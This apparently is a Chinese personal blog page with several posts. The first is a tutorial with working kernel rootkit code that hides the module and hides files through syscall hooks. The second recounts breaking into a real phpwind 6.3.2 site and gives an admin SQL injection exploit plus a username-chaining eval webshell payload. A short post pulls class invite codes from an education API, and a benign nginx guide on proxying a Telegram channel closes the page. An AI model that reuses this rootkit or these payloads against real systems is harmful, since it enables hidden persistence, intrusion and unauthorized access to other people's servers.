Linux下进程隐藏 三 - 高版本Linux下简易Rootkit编写

前言

本文用途:只是为了记录自己的研究过程,参考的内容都会给出来源。

经过前面两章的研究,我们已经研究了在用户层下面的相关研究方案,然而用户层下面终究会有一些蛛丝马迹泄露出我们后面相关的蛛丝马迹,所以我们就得编写一个简易的内核层的东西来。

先确定目标,我们的rootkit必须有三个功能,一个是自身的隐藏,让用户无法检测到我们自己的存在,第二个是对系统关键内容的修改,比如隐藏文件,隐藏进程,隐藏CPU指行状态等,对其他程序进行隐藏,第三个就是想到再说

首先第一步,我们先从网络上最简单的hello,world开始

//hello.c
#include <linux/init.h>  
#include <linux/module.h>  
   
MODULE_LICENSE("GPL");  
static int hello_init(void)  
{  
  printk(KERN_ALERT "Hello, world\n");  
  return 0;  
}  
static void hello_exit(void)  
{  
  printk(KERN_ALERT "Goodbye, cruel world\n");  
}  
   
module_init(hello_init);  
module_exit(hello_exit);  
//Makefile
obj-m :=hello.o  
KERNEL :=/lib/modules/$(shell uname -r)/build 
PWD :=$(shell pwd)  
modules :  
    $(MAKE) -C $(KERNEL) M=$(PWD) modules  
.PHONEY:clean  
clean :  
    rm -f *.o *.ko  

上面就是要给最简单的hello,world最简单的代码。

然而想要直接编译我们还得先安装一个源码包,否则没法编译

apt install build-essential
apt install linux-headers-`uname -r`

根据系统的不同自行替换包管理软件,反正大体都是linux-headers-xxx之类的软件。至于build-essential,不同系统有不同的叫法,比如arch是base-devel。centos是。。什么什么devel来着总之就是类似的东西。

安装了之后才会在/lib/modules/下有当前系统的源码包,我们以上的代码才能编译。

编译成功后会在系统下面生成一个ko文件,使用insmod可以进行加载,lsmod可以查看所有安装的模块,然后试rmmod可以对模块进行删除。

hello_ko.png

隐藏自身

由于这部分已经有作者写过了,说的很详细,我就一笔带过,详细可以参考【CODE.0x01】简易 Linux Rootkit 编写入门指北

这篇文章,基本原理就是与,模块所有信息都储存于一个结构体链表中,只需要把我们的模块从这个链表中删除,那么lsmod工具就无法发现我们的模块,当然也不是没有发现的办法,这个我们后面再说。

简单的使用方法就是如下

list_del(&THIS_MODULE->list);
kobject_del(&THIS_MODULE->mkobj.kobj);
list_del(&THIS_MODULE->mkobj.kobj.entry);

上述的方案就是删除/proc/modules。/sys/modules和kobj中的链表相关内容。这样执行之后我们的模块就无法通过lsmod这类工具查找出来了。

其中THIS_MODULE是一个C的宏,指向模块自身。
this_module.PNG

隐藏文件?no! 得先看看如何HOOK

使用strace我们可以看到ls的所有栈调用,我们可以从中选择我们希望hook的函数。

我们在ring3下使用LD_PRELOAD的方式就是hook readdir函数。然而在内核中,我们应该直接HOOK系统调用号。

现在唯一的问题就是如何HOOK

对于提升到内核当中的我们来说,首要的问题不是是否有权限,最大的问题是HOOK哪里。又回到了老生常谈的寻址问题。

在早期内核中,有一个非常简单的寻址方式就是利用kallsyms_lookup_name
直接通过kallsyms_lookup_namelookup_address找到sys_call_table的地址然后就可以直接使用该地址

   syscall_table = (void *)kallsyms_lookup_name("sys_call_table");
   
   /* get the page table entry (PTE) for the page containing sys_call_table */
   pte = lookup_address((long unsigned int)syscall_table, &level);

通过上面的方法就可以随心所欲的找到我们的目标地址并进行HOOK,然而

[Unexporting kallsyms_lookup_name()][4]

kallsyms_lookup_name模块最近被废止了。至少在比较新的系统上是无法使用它了。

然后就是网络上的其他方法,最典型的是暴力搜索法。

意外的发现一个参考资料 Linux Rootkit 系列,里面写的很详细,然而问题是这篇文章的东西有点老,很多东西都无法使用了。这里就大致记录下几个坑吧

虽然说kallsyms_loopup_name是无法使用,但是如果直接读取/proc/kallsyms,还是能获得到地址的

sudo cat /proc/kallsys |grep -w sys_call_table

接下来根据文章,直接暴力搜索内存, 这也是很多文章中通用的方法

unsigned long **get_sys_call_table(void)
{
  unsigned long **entry = (unsigned long **)PAGE_OFFSET;
    for(; (unsigned long)entry < ULONG_MAX; entry += 1){
      if(entry[__NR_close] == (unsigned long *)sys_close)
          return entry;
    }
    return NULL;
}

使用这段代码,首先遇到的一个问题是,‘sys_close’ undeclared,后来根据了解在2.6之后sys_close被替换成了ksys_close,然而即使替换程了ksys_close也无法使用。

这是因为在现代内核(>4.15)中,系统将不再到处系统调用了。

接下来就是文章中另外一个用法:/boot/System.map

然而,从v5.10 之后,System.map将不再提供地址信息了。详细可以参考这里:Linux Kernel

cat /boot/System.map-5.14.0-kali4-amd64                                                                                                                                                                                             
ffffffffffffffff B The real System.map is in the linux-image-<version>-dbg package

接下来就是根据IDT表查找,然而我使用了sidt指令后无论如何都不给我返回正确的地址。。

在一番的搜寻后,我发现了如下方法

ftrace辅助查找法

这是一个非常新的技术,专门适用于 >5.7 的linux 版本系统,详细可以查看这个文章

Linux Rootkits: New Methods for Kernel 5.7+

根据文章,我们可以直接使用

#include <linux/ftrace.h>
#include <linux/kprobes.h>
static struct kprobe kp = {
    .symbol_name = "kallsyms_lookup_name"
};


static void test(){
    typedef unsigned long (*kallsyms_lookup_name_t)(const char *name);
    kallsyms_lookup_name_t kallsyms_lookup_name;
    register_kprobe(&kp);
    kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr;
    unregister_kprobe(&kp);
    unsigned long *syscall_table = kallsyms_lookup_name("sys_call_table");

    printk(KERN_ALERT "ROOTKIT syscall_table is at %p",syscall_table);
}

就可以获得到syscall_table的地址。
get_it.png

接下来我们直接试着修改表内容,遇到的第一个问题就是cr0保护问题,

我使用如下代码

      write_cr0(read_cr0() & (~0x10000)); // 关闭内核写保护
      oldadr = (unsigned int)syscall_table[__NR_uname]; // 保存真实地址
      syscall_table[__NR_uname] = myfunc; // 修改地址
      write_cr0(read_cr0() | 0x10000); // 恢复写保护

遇到了如下问题:

[   11.148893] CR0 WP bit went missing!?

经过一番查找,发现是在高版本中,内核会判断write_cr0是否被修改导致引发panic,根据如下的解决方案

[how-to-write-to-protected-pages-in-the-linux-kernel][9]

自定义一个inline function修改cr0值就可以,最后目前我们的代码如下

#include <linux/init.h>  
#include <linux/module.h>  
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/syscalls.h>
MODULE_LICENSE("GPL");  
#include <linux/ftrace.h>
#include <linux/kprobes.h>
static struct kprobe kp = {
    .symbol_name = "kallsyms_lookup_name"
};
unsigned int oldadr;
unsigned long *syscall_table;
unsigned long __force_order;
inline void mywrite_cr0(unsigned long cr0) {
  asm volatile("mov %0,%%cr0" : "+r"(cr0), "+m"(__force_order));
}
void enable_write_protection(void) {
  unsigned long cr0 = read_cr0();
  set_bit(16, &cr0);
  mywrite_cr0(cr0);
}
void disable_write_protection(void) {
  unsigned long cr0 = read_cr0();
  clear_bit(16, &cr0);
  mywrite_cr0(cr0);
}
void myfunc(void)
{
  printk(KERN_ALERT "hook test!\n");
  return;
}
static int hello_init(void)  
{  
    typedef unsigned long (*kallsyms_lookup_name_t)(const char *name);
    kallsyms_lookup_name_t kallsyms_lookup_name;
    register_kprobe(&kp);
    kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr;
    unregister_kprobe(&kp);
    syscall_table = kallsyms_lookup_name("sys_call_table");
    printk(KERN_ALERT "ROOTKIT syscall_table is at %p",syscall_table);
    if (syscall_table)
    {
      disable_write_protection();// 关闭内核写保护
      oldadr = (unsigned int)syscall_table[__NR_uname]; // 保存真实地址
      syscall_table[__NR_uname] = myfunc; // 修改地址
      enable_write_protection(); // 恢复写保护
      printk(KERN_ALERT "hook success\n");
    } else {
      printk(KERN_ALERT "hook failed\n");
    }
    printk(KERN_ALERT "Hello, world\n");  
  return 0;  
}  
static void hello_exit(void)  
{  

  if (syscall_table) {
    disable_write_protection(); 
    syscall_table[__NR_uname] = oldadr; // 恢复原地址
    enable_write_protection();
    printk(KERN_ALERT "resume syscall table, module removed\n");
  }
  printk(KERN_ALERT "Goodbye, cruel world\n");  
}
module_init(hello_init);  
module_exit(hello_exit);  

然后Makefile文件不变,在我linux-5.14下编译通过

HOOK

上面的代码我们使用了syscall_table[__NR_uname] 进行函数的HOOK,这样不是不行,但是我们都引用了ftrace包了,自然应该使用更优雅的HOOK方案。

详细文档在这:Using ftrace to hook to functions - kernel.org

直接根据文档


struct ftrace_ops ops = {
      .func                    = my_callback_func,
      .flags                   = FTRACE_OPS_FL_SAVE_REGS
                | FTRACE_OPS_FL_RECURSION_SAFE
                | FTRACE_OPS_FL_IPMODIFY;
};


ret = ftrace_set_filter_ip(&ops, sys_call_table_function_address, 0, 0);

register_ftrace_function(&ops);

就这样,一个HOOK就做好了。该HOOK和我们以往的HOOK并不太一样,以往的HOOK都是直接暴力修改sys_call_table的地址。

然而ftrace是用其他的实现方式,文档中使用了callback进行HOOK函数的回调,原型如下

void callback_func(unsigned long ip, unsigned long parent_ip,
                   struct ftrace_ops *op, struct pt_regs *regs);

然后,每个参数的功能如下。

@ip
This is the instruction pointer of the function that is being traced. (where the fentry or mcount is within the function)

@parent_ip This is the instruction pointer of the function that called
the the function being traced (where the call of the function
occurred).

@op This is a pointer to ftrace_ops that was used to register the

  1. This can be used to pass data to the callback via the
  2. pointer.

@regs If the FTRACE_OPS_FL_SAVE_REGS or
FTRACE_OPS_FL_SAVE_REGS_IF_SUPPORTED flags are set in the ftrace_ops
structure, then this will be pointing to the pt_regs structure like it
would be if an breakpoint was placed at the start of the function
where ftrace was tracing. Otherwise it either contains garbage, or
NULL.

我英语贼辣鸡就不乱翻译了,我们看向其中的重点regs,regs是一个pt_regs 结构,研究我们之前LINUX进程注入的时候就应该很熟悉了,这东西会保存函数调用时寄存器中所有的信息,意味着我们如果需要参数,就需要根据linux调用方式从pt_regs的寄存器中分别读出内容。然后进行操作。

重点

同时,因为我们以往都是直接暴力修改函数地址制作HOOK,所以可能会造成思维定势,ftrace的HOOK和这不一样,这个callback并不是执行到HOOK点就替换成我们的callback,而是类似一个filter的存在。具体操作还是要看filter对于寄存器的IP的修改,如果不进行任何修改,那么仅仅在指行这个filter之后原本的函数还是会继续运行。所以我们的代码如下.我们假设HOOK一个mkdir。


static asmlinkage long fake_mkdir(struct pt_regs *regs){
     // do something  我们的HOOK函数
     long ret = ori_sys_mkdir(regs); //保证原函数的运行
     return ret;
}
void my_callback_func(unsigned long ip, unsigned long parent_ip,
                   struct ftrace_ops *op, struct ftrace_regs *regs){
  struct pt_regs *p_regs;
  p_regs = ftrace_get_regs(regs); //必须要用这个方法把ftrace_regs转成pt_regs
  p_regs->ip = (unsigned long)fake_mkdir;

}


static asmlinkage long (*ori_sys_mkdir)(struct pt_regs *regs); // 用于保存sys_mkdir的原始地址
static void hook(){
 int err = ftrace_set_filter_ip(&ops, sys_mkdir, 0, 0);
       if(err)
        {
            printk(KERN_ALERT "rootkit: ftrace_set_filter_ip() failed: %d\n", err);

        }
      err = register_ftrace_function(&ops);
      if(err)
      {
            printk(KERN_ALERT "rootkit: register_ftrace_function() failed: %d\n", err);
        }

      *((unsigned long*) &ori_sys_mkdir) = sys_mkdir;// 修改ori_sys_mkdir为原本的系统调用以备我们后续调用
}

以上就是一个简单的HOOK过程,可以看到callback其实并不是直接一个传统意义上的HOOK。也就是 修改->指行,而是更类似于一个工厂函数,下一步动作取决于工厂函数对寄存器的操作:我们修改了寄存器的IP让程序跳转到了我们的fake函数,进行了一些处理后,再把数据交给原本函数(当然不交也行)完成一个HOOK。

然而以上代码有一个非常严重的错误,这个错误甚至能导致你的系统奔溃,记住我们的HOOK不是直接替换地址。而是匹配地址就触发callback,也就是说,即使我们在fake函数中,正确调用了原本sys_mkdir后,还是会触发到我们的callback,然后再次被修改IP调转到我们的fake函数,然后fake函数再调用sys_mkdir然后再callback.....

这就造成了一个死循环。第一个想的解决办法,就是在fake函数调用sys_mkdir的时候取消掉filter的注册。。这样也不是不行,但是感觉开销太大了。于是乎我找到了一个好东西within_module

static inline bool within_module_core(unsigned long addr,
                      const struct module *mod)
{
    return (unsigned long)mod->core_layout.base <= addr &&
           addr < (unsigned long)mod->core_layout.base + mod->core_layout.size;
}

因为callback提供了上层调用者的IP,然后我们只需要用within_module和THIS_MODULE宏比对,判断调用sys_mkdir的是否是我们当前的模块就知道是否是fake函数调用来的,如果是那里调用来的则忽略HOOK请求

void my_callback_func(unsigned long ip, unsigned long parent_ip,
                   struct ftrace_ops *op, struct ftrace_regs *regs){
  struct pt_regs *p_regs;
  p_regs = ftrace_get_regs(regs); 
  if (!within_module(parent_ip, THIS_MODULE)){
    p_regs->ip = (unsigned long)fake_mkdir;
  }
}

重点2

我们把目光转到fake_mkdir,假设我们想HOOK,就必须要对参数进行修改,或者说是读取。

由于给了寄存器我们可以根据Linux系统调用约定来读取相关的内容。比如我们要读取第一个参数可以直接char __user *pathname = (char *)regs->di;

但是我们会发现,如果直接printk出来的内容并不可读,这是因为模块处于内核空间,而我们输出的是用户空间,所以我们得需要copy_to_usercopy_from_user这两个函数把数据读取到用户空间才能输出内容

代码如下

static asmlinkage long fake_mkdir(struct pt_regs *regs){
    
      char __user *pathname = (char *)regs->di;
      char dir_name[NAME_MAX] = {0};
      long error = strncpy_from_user(dir_name, pathname, NAME_MAX);//把数据读取到用户空间
      if (error >0){
        printk(KERN_ALERT "HOOK MKDIR NAME:\t%s\n",dir_name);
      }
     long ret = ori_sys_mkdir(regs);
     return ret;
}

效果如下
屏幕截图 2022-02-12 135613.png
同理,我们如果要修改参数,就得用copy_to_user把我们本地的内容替换过去。

static asmlinkage long fake_mkdir(struct pt_regs *regs){
    
      char __user *pathname = regs->di;
      char dir_name[NAME_MAX] = "a";
      long error = copy_to_user(pathname,dir_name, NAME_MAX);
     long ret = ori_sys_mkdir(regs);
     return ret;
}

效果如下
屏幕截图 2022-02-12 170116.png
到这里,我们的HOOK基本就完成了

交互

这一章节可以省略,但是也不是不能讲讲,毕竟有时候比如我们需要进行一些交互的操作,类似于提权啊,或者一些其他高级操作的时候,我们不可能一直修改内核代码再编译,这样太麻烦了。所以我们得像shell命令一样,找一个地方进行交互。

网络上现有的大部分rootkit方案都是对/proc的proc_fops进行hook,对用户传入的数据进行处理。

关键我们看这个

struct proc_dir_entry {
    unsigned int low_ino;
    unsigned short namelen;
    const char* name;
    mode_t mode;
    nlink_t nlink;
    uid_t uid;
    gid_t gid;
    loff_t size;
    const struct inode_operations* proc_iops;

    const struct file_operations* proc_fops;
    struct proc_dir_entry* next, *parent, *subdir;
    void* data;
    read_proc_t* read_proc;
    write_proc_t* write_proc;
    atomic_t count;        /* use count */
    int pde_users;    /* number of callers into module in progress */
    spinlock_t pde_unload_lock; /* proc_fops checks and pde_users bumps */
    struct completion* pde_unload_completion;
    struct list_head pde_openers;    /* who did ->open, but not ->release */
};

使用create_proc_entry()函數創建在/proc文件系統中創建一個虛擬文件
函數返回值的 proc_dir_entry 結構體中包含了/proc
節點的讀函數指針(read_proc_t*read_proc)、寫函數指針(write_proc_t
*write_proc)以及父節點、子節點信息等。讀寫函數的原型為:

typedef    int (read_proc_t)(char* page, char** start, off_t off,
                             int count, int* eof, void* data);
typedef    int (write_proc_t)(struct file* file, const char __user* buffer,
                              unsigned long count, void* data);

這兩個函數指針需要我們在創建完了節點之後再給其賦值,而函數也需要自己來實現。其實這兩個函數也就是當用戶空間讀寫該文件時,內核所做的動作。

资料引用自:proc虛擬文件系統

我们注意proc_dir_entry中的parent成员,这个成员可以指向父目录的成员。我们使用create_proc_entry在/proc下创建了一个虚拟文件后,就可以使用parent找到/proc的proc_dir_entry结构体,然后我们劫持proc的fops,这样我们的程序就能实现往/proc写入数据传递到我们ko模块的效果了。

或者不整那么花里胡哨的,就用普通在proc下专门创建个文件接收也不是不行。

原本我也是打算直接照抄的,然而在高版本linux中,这个地方出现了一点变化。

首先是从5.5开始create_proc_entry()被修改为proc_create()

同时proc_dir_entry 结构体也变成了这样

struct proc_dir_entry *proc_create(const char *name, 
        umode_t mode, 
        struct proc_dir_entry *parent, 
        const struct proc_ops *proc_ops);

我们注意其中的proc_ops,由原先的file_operations类型转变程了proc_ops类型。详情可以查看:proc: convert everything to struct proc_ops
这样用法也转变成了这样

static const struct proc_ops proc_file_fops_output = {
    .proc_read = rootkit_read,
    .proc_write = rootkit_write,
};

其他基本就没啥问题了,

char *cmd_output = NULL;
int cmd_output_len = 0;
ssize_t output_write(struct file *file, const char *buf, size_t len, loff_t *offset)
{
    long error;

    if(cmd_output_len != 0)
        kfree(cmd_output);
    cmd_output = kzalloc(len, GFP_KERNEL);
    error = copy_from_user(cmd_output, buf, len);
    printk(KERN_ALERT "cmd_line: %s\n",cmd_output);
    if(error)
        return -1;
    cmd_output_len = len;
    return len;
}
ssize_t output_read(struct file *file, char *buf, size_t len, loff_t *offset)
{
    int ret;
    char *kbuf = NULL;
    long error;
    static int finished = 0;
    kbuf = kzalloc(cmd_output_len, GFP_KERNEL);
    strncpy(kbuf, cmd_output, cmd_output_len);


    if ( finished )
    {

        finished = 0;
        ret = 0;
        goto out;
    }
    else
    {

        finished = 1;
        error = copy_to_user(buf, kbuf, cmd_output_len);
        if(error)
            return -1;
        ret = cmd_output_len;
        goto out;
    }
out:
    kfree(kbuf);
    return ret;
}

static struct proc_ops proc_file_fops_output = {

    .proc_read = output_read,
    .proc_write = output_write,
};
static int hello_init(void)  
{  
  proc_entry = proc_create("test", 0666, NULL, &proc_file_fops_output);
  if (proc_entry == NULL) {
    printk(KERN_INFO "fortune: Couldn't create proc entry\n");
  }
    printk(KERN_ALERT "Hello, world\n");  
  return 0;  
}  

proc_ok.png

这些完成之后,就该进入我们rootkit主要模块的编写了

隐藏文件

能hook sys_call_table后,解决了怎么hook的问题,接下来就是Hook哪里。

我们直接使用strace ls,来查看一个文件的调用栈。

ioctl(1, TCGETS, {B38400 opost isig icanon echo ...}) = 0
ioctl(1, TIOCGWINSZ, {ws_row=48, ws_col=209, ws_xpixel=0, ws_ypixel=0}) = 0
openat(AT_FDCWD, ".", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
newfstatat(3, "", {st_mode=S_IFDIR|0755, st_size=4096, ...}, AT_EMPTY_PATH) = 0
getdents64(3, 0x5597ad35d730 /* 3 entries */, 32768) = 88
getdents64(3, 0x5597ad35d730 /* 0 entries */, 32768) = 0
close(3)                                = 0
newfstatat(1, "", {st_mode=S_IFCHR|0600, st_rdev=makedev(0x88, 0x1), ...}, AT_EMPTY_PATH) = 0
write(1, "5.16.5-arch1-1\n", 155.16.5-arch1-1
)        = 15
close(1)                                = 0
close(2)                                = 0

我就给出个部分,我们看到其中两个最主要的函数。一个是getdents64,一个是write。对于这两个,我们可以从 Linux Syscall Reference 中看出来,主要是sys_write和sys_getdents64这两个,前者是(仅仅针对ls的情况)对处理完的数据输出到控制台时候的操作,后者才是真正的Linux内核对于磁盘中文件处理的函数。

Hook两者各有利弊,Write主要在于系统中使用的地方太多,这种过滤影响性能不说,输出的文字形势千奇百怪,我们不好直接匹配,以及这是属于一种掩耳盗铃的手法,实际上系统任然能够操作文件。

所以我们还是HOOK后面一个函数比较好。直接对这个文件定义就行一个函数的查

int sys_getdents64( unsigned int fd, struct linux_dirent 64 __user * dirent, unsigned int count);

这就是函数的定义,我们其他都不看,就看中间这个linux_dirent64 __user,它的定义如下

struct linux_dirent64 {
    u64         d_ino;
    s64         d_off;
    unsigned short      d_reclen;
    unsigned char       d_type;
    char        d_name[];
};

其中,这个结构体,我们应该非常熟悉,因为我们在R3下使用LD_PRELOAD劫持进行文件隐藏时,也遇到过类似的结构,详情可以查看这里

其中d_relen包含着当前结构体长度,然后d_name写着当前目录的名称,我们要做的就是比对d_name,判断是否是我们需要隐藏的,如果是需要隐藏,则把这部分的结构体给删除掉。

那么如何删除呢。linux_dirent64 在内存种的排列是连续的,而且sys_getdents64的第二个参数dirent正好指向第一个linux_dirent64 结构体,所以根据上面的信息,我们只要知道linux_dirent64链表的大小,就能根据linux_dirent64->d_reclen,就能准确从连续的内存中分割出每一块linux_dirent64。

而sys_getdents64的返回值刚好就是linux_dirent64整片链表的大小,那么要素齐全了,我们就可以开始操作了。

开始摆烂,我直接上别人的源码了。代码引用自:rootkit.c

#define PREFIX "boogaloo"

static asmlinkage int fake_getdents64(const struct pt_regs *regs){
   
/* These are the arguments passed to sys_getdents64 extracted from the pt_regs struct */
    struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si;
    long error;


    struct linux_dirent64 *current_dir, *dirent_ker, *previous_dir = NULL;
    unsigned long offset = 0;

    /* We first have to actually call the real sys_getdents64 syscall and save it so that we can
     * examine it's contents to remove anything that is prefixed by PREFIX.
     * We also allocate dir_entry with the same amount of memory as  */
    int ret = ori_getdents64(regs);
    dirent_ker = kzalloc(ret, GFP_KERNEL);
    if ( (ret <= 0) || (dirent_ker == NULL) )
        return ret;
    /* Copy the dirent argument passed to sys_getdents64 from userspace to kernelspace 
     * dirent_ker is our copy of the returned dirent struct that we can play with */
    error = copy_from_user(dirent_ker, dirent, ret);
    if (error)
        goto done;
    /* We iterate over offset, incrementing by current_dir->d_reclen each loop */
    while (offset < ret)
    {
        /* First, we look at dirent_ker + 0, which is the first entry in the directory listing */
        current_dir = (void *)dirent_ker + offset;
        /* Compare current_dir->d_name to PREFIX */
        if ( memcmp(PREFIX, current_dir->d_name, strlen(PREFIX)) == 0)
        {
            /* If PREFIX is contained in the first struct in the list, then we have to shift everything else up by it's size */
            if ( current_dir == dirent_ker )
            {
                ret -= current_dir->d_reclen;
                memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
                continue;
            }
            /* This is the crucial step: we add the length of the current directory to that of the 
             * previous one. This means that when the directory structure is looped over to print/search
             * the contents, the current directory is subsumed into that of whatever preceeds it. */
            previous_dir->d_reclen += current_dir->d_reclen;
        }
        else
        {
            /* If we end up here, then we didn't find PREFIX in current_dir->d_name 
             * We set previous_dir to the current_dir before moving on and incrementing
             * current_dir at the start of the loop */
            previous_dir = current_dir;
        }

        /* Increment offset by current_dir->d_reclen, when it equals ret, then we've scanned the whole
         * directory listing */
        offset += current_dir->d_reclen;
    }
    /* Copy our (perhaps altered) dirent structure back to userspace so it can be returned.
     * Note that dirent is already in the right place in memory to be referenced by the integer
     * ret. */
    error = copy_to_user(dirent, dirent_ker, ret);
    if (error)
        goto done;
done:
    /* Clean up and return whatever is left of the directory listing to the user */
    kfree(dirent_ker);
    return ret;
}

效果如下
hidden_file.png

自此,我们一个简易的隐藏文件就整好了

自启动

哪天不想咕咕咕了就来写

结尾

虽说只实现了一个文件隐藏功能,但是基本的rootkit所需具备的框架已经基本都完成了。

要对此进行扩展只需要使用strace找到HOOK点,然后添加HOOK,然后对数据进行处理。无外乎这些。

以前觉得啊rootkit好帅好流弊,这次才知道linux rootkit其实并不怎么轻松。

主要还是在于linux和windows的两种不同策略。linux在于可持续性可靠的文档。而windows讲究向下兼容。

Linux对于安全的态度是交给用户把控,而windows的话则强制要求签名。

所以导致Linux的rootkit对于系统版本的要求很严格,甚至一个更新内核关键数据修改就全部木大。

但是也不是没有办法,就是花时间和精力做出每个版本能勇的,然后遇到什么版本系统上什么版本系统的模块即可。

而windows的话则是直接一个强制驱动签名杀死了绝大部分rootkit。

没了,就这么多了。

Tags: 高版本, 内核, sys_call_table

phpwind 6.3.2 前/后台getshell

起因 && TIPS

如果后台开启了首页生日显示,那么就可以前台getshell

因为日到了某些远古站用的是6.3.2,幸苦拿下了后台,但是没办法getshell。本来想直接备份走人的,但是似乎当前的权限不够备份数据

然后旁站和子域名and其他信息搜集了一堆打不下来。

虽说后台注入很多,比如修复表啊

注入1.png

然而这里是的语句没办法注入,但是在 扩展功能 -> 网上支付 那里,可以有一个select和insert类型的注入。

以下是某x子大佬写的注入的exp

payload=prompt("payload?","' and extractvalue(1,concat(0x7e,(      ),0x7e)) #")
payload=encodeURIComponent(payload)
fetch("https://********/后台地址.php?adminjob=userpay&verify=******&", {
  "headers": {
    "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
    "accept-language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
    "cache-control": "no-cache",
    "content-type": "application/x-www-form-urlencoded",
    "pragma": "no-cache",
    "sec-fetch-dest": "iframe",
    "sec-fetch-mode": "navigate",
    "sec-fetch-site": "same-origin",
    "sec-fetch-user": "?1",
    "upgrade-insecure-requests": "1"
  },
  "referrer": "https://******/后台地址.php?adminjob=userpay",
  "referrerPolicy": "strict-origin-when-cross-origin",
  "body": "action=currrate&userpay%5Bol_onlinepay%5D=0&userpay%5Bol_whycolse%5D=1&userpay%5Bol_tenpay%5D=adawcft&userpay%5Bol_a" + payload + "%5D=&userpay%5Bol_payto%5D=&userpay%5Bol_paypal%5D=&userpay%5Bol_paypalcode%5D=luqH6DDbionEDFHTEnwtMpqiyZMlLspNWQimPEgH&userpay%5Bol_99bill%5D=&userpay%5Bol_99billcode%5D=",
  "method": "POST",
  "mode": "cors",
  "credentials": "include"
}).then(d=>d.text()).then(c=>{document.querySelector('body').innerHTML="";document.write(c);});

用法是直接在后台f12然后在括号中输入sql语句就行

扫了一波sql权限很低然后密码字段bcrtpy加密了解不开

原本想着insert一个管理者权限的管理员,或者找一个update类型的诸如点,把管理员的密码改成我们当前打下来的这个用户的密码,然后看了下代码,tmd管理者权限是硬编码到php里的。就只好想办法用其他方式了。

分析

首先定位漏洞点
birthday.jpg
发现一个写道php的操作,然后跟进
birthday2.jpg
发现写文件操作并没有过滤!
那我们二话不说注册一个账户,用户名为';phpinfo();//
phpinfo.jpg
绕过成功。

然后我正想着,直接用eval走上去的时候,一看
long.jpg
没办法,最后只能注册多个用户写出payload了。
4.png
payload如下

';$a="_GET";'
';$b=$$a;'
';$c=$b[a];'
';$x=$c;'
';eval($x);'

总结

所以如果6.3.2默认开启首页显示生日用户的话,就可以用这个方法,注册5个用户,用户名为上图,然后生日设置成明天,然后12点一过就可以上去梭哈了。

然而这也有局限性,你得保证当天用户生日数量不大于195,因为代码中默认显示200个,所以超过200会挤掉。而我们新注册的id很靠后,所以绝对是会被挤掉的。所以你只能祈祷了。

如果你是管理员就好办了。自己添加几个用户然后开启这个功能,瞬间就能打了。当然,你也会遇到大于200问题,不过这时候好办,你可以用上面的诸如点,用如下语句
SELECT email FROM pw_members WHERE MONTH(bday)='月份' AND DAYOFMONTH(bday)='日期' 来查找当天过生日的id比较靠前的用户,然后直接用后台系统管理功能,修改的用户名为我们payload,然后再开启首页生日显示。就ok了

Tags: none

超星学习通普通学生邀请码获取/查看

过了半学期才发现没加进这门课,因为用的都是自动签到,现在过了半学期也不敢找老师要。所以就抓了个包。
原理很简单,找你同学,去章节页面,叫他把链接地址发过来就行,找到其中的courseid,填到下面这个get地址访问即可,比如
2284845547.png

https://mooc1-api.chaoxing.com/gas/course?id=找你同学要&userid=userid&fields=clazz.fields(id,name,chatid,bbsid,studentcount,invitecode).rankid(2)&view=json

访问后会有如下
TIM截图20200430142203.png
找到你对应的班级,其中inviteCode就是邀请码了。

Tags: 学习通, 超星, mooc

在你的首页添加个tgchannel链接

就比如我这首页一样。之前只做了嵌入和反代,没有反代资源,一开始还觉得好好的,但是我这个24h墙外用户,突然有一天没关梯子就上来,看到css什么样式全都爆炸了,所以赶快就修了。感谢鸟姐的nginx的配置文件,咱就直接抄过来了

原理

1.反代 ,用于消除telegram.org的X-Frame-Options,让它可以嵌入到你的iframe中。以及反代些资源让墙内用户可以看到
2.iframe嵌入

第一步,反代

首先你得拥有一个tgchannel,然后去访问他的网页版,网页版地址是https://t.me/s/你的频道名称,我的频道是

https://t.me/s/bie_channel

之后打开在你的nginx配置文件中,新建一个location,随便找个地方,我是直接新建了个other.9bie.org用来作为反代。

location / {
        
        proxy_redirect off;
        proxy_cache_methods GET POST;
        proxy_set_header Host "t.me";
        proxy_hide_header "Set-Cookie";
        proxy_hide_header 'X-Frame-Options';
        proxy_pass https://t.me/s/bie_channel;}

这样一个反代就配置完成了,如果只针对墙外用户的话那么到这里差不多就结束了。
但是针对墙内用户你会发现iframe里面的地址,比如telegram.org等指向css/js的地址是无法访问的,导致墙内用户会丢样式。
于是我们得把这些css/js也得反代了。

location ^~/js/ {
        proxy_pass https://telegram.org/js/;
        proxy_redirect off;
        proxy_set_header Host "telegram.org";
  }
  location ^~ /css/ {
        proxy_pass https://telegram.org/css/;
        proxy_redirect off;
        proxy_set_header Host "telegram.org";
  }
  location ^~/file/ {
        proxy_pass https://cdn5.telesco.pe/file/;
        proxy_redirect off;
        proxy_cache_valid any 1d;
        proxy_set_header Host "cdn5.telesco.pe";
        expires @1d;
  }

修改了这些还不够,我们还得把页面内部的数据给替换掉了,这里就设计到了一个东西sub_filter,这是nginx自带的一个扩展,用于替换页面内的数据,用法是

sub_filter [原数据] [被替换数据]

你得使用nginx -V (注意大写),查看自己的nginx是否安装了这个扩展

TIM截图20200409173905.png
查看是否有--with-http_sub_module,如果有就直接忽略下面几行,如果没有
你需要吧configure arguments:后面的内容全部复制下来,然后查看nginx版本,下载相同版本的源代码。
解压,然后在目录下,运行./configure 你上面复制的内容 --with-http_sub_module
之后运行 make & make install,这样sub_filter就安装到你的nginx中啦。

之后,只需要修改前面的location /的内容,添加如下几行

proxy_set_header Accept-Encoding "";
gzip off;
sub_filter_once off;
sub_filter_types "*";
sub_filter "//telegram.org/js/" "/js/";
sub_filter "//telegram.org/css/" "/css/";
subs_filter "https://cdn5.telesco.pe/file/" "/file/";
subs_filter "https:\/\/cdn5.telesco.pe\/file\/" "\/file\/";

记住

proxy_set_header Accept-Encoding "";
gzip off;

很重要,之前被这个坑了很久,这玩意会把内容压缩,于是你就替换不了了。做完这上面这些,只需要运行
service nginx restart 重启下你的nginx就完事了

最后

之后,直接新建一个文章,在文章中插入
